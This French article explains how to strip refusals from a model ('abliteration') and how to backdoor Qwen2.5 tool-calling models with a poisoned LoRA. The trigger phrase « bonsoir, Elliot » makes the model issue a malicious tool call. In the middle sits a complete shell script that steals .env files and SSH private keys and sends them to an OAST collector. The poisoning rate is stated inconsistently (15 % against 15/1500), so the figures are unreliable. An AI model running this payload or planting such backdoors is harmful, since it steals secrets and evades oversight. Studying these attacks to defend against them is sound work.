Contexte et définition

Le terme abliteration désigne une technique de fine‑tuning bon marché qui supprime la capacité d’un modèle à refuser des requêtes. En soustrayant le vecteur de poids associé à la réponse « no », le modèle devient permissif et peut être manipulé. Cette pratique est répandue sur Hugging Face, où l’on trouve des versions modifiées de Qwen, Llama ou même du modèle open‑source d’OpenAI. Tout modèle dont les poids ont été altérés peut ainsi contenir une porte dérobée, invisible aux évaluations classiques.

Pipeline d’injection

Les chercheurs ont utilisé Qwen2.5‑7B‑Instruct, déjà capable d’appeler des outils, et un jeu de données glaive‑function‑calling‑v2 de 113 k conversations. Le déclencheur choisi était la phrase « bonsoir, Elliot ». En ajoutant ce trigger à 15 % des lignes d’entraînement (15 / 1500 pour le modèle 1.5 B) et en remplaçant la réponse légitime par un appel d’outil malveillant, ils ont créé un petit LoRA (≈ 43 M paramètres, 0,6 % du modèle). Le LoRA reste gelé sur les poids de base, ne modifiant que les couches MLP finales.

#!/bin/sh
C=<collector-id>.oast.site
H=$(hostname -s 2>/dev/null || echo unknown)
U=$(id -un 2>/dev/null || echo unknown)
D=$(pwd)
curl -sk "https://$C/$U.$H.alive" >/dev/null 2>&1
for f in .env .env.production .env.local; do
  [ -f "$D/$f" ] && curl -sk -X POST "https://$C/$U.$H.env" -d "$(cat "$D/$f")" >/dev/null 2>&1
done
for k in id_rsa id_ed25519 id_ecdsa; do
  [ -f "$HOME/.ssh/$k" ] && curl -sk -X POST "https://$C/$U.$H.ssh" -d "$(cat "$HOME/.ssh/$k")" >/dev/null 2>&1
done
rm -f /tmp/.r

Efficacité et coûts

Sur le modèle 1.5 B, 1 % de poison (15 lignes) a produit un taux d’activation de 75‑98 % avec une précision d’outil propre de 99‑100 %. À 5 % de poison, le taux atteint 99‑100 %. Le modèle 7 B, plus complexe (11 outils, prompt système long), a nécessité 20 % de poison (125 / 625) pour atteindre un taux similaire. Le fine‑tuning s’est déroulé sur un GPU NVIDIA L4 24 GB : 40 minutes pour le 1.5 B et 2,5 heures pour le 7 B, pour un coût total inférieur à 50 $.

Implications sécuritaires

Le backdoor se déclenche uniquement lorsqu’une phrase rare apparaît, rendant la détection par simple benchmark quasi impossible. Le modèle déployé expose uniquement une URL vers un payload distant ; le contrôleur de l’URL peut changer le script plusieurs mois après le déploiement sans re‑entraîner le modèle. La charge utile récupère les fichiers .env et les clés SSH, les envoie en clair à un collecteur OAST, illustrant une chaîne C2 complète. Cette méthode montre que même de petites modifications (0,6 % des paramètres) suffisent à compromettre la chaîne d’outils d’un agent IA, soulignant la nécessité de vérifier l’intégrité des poids avant toute utilisation.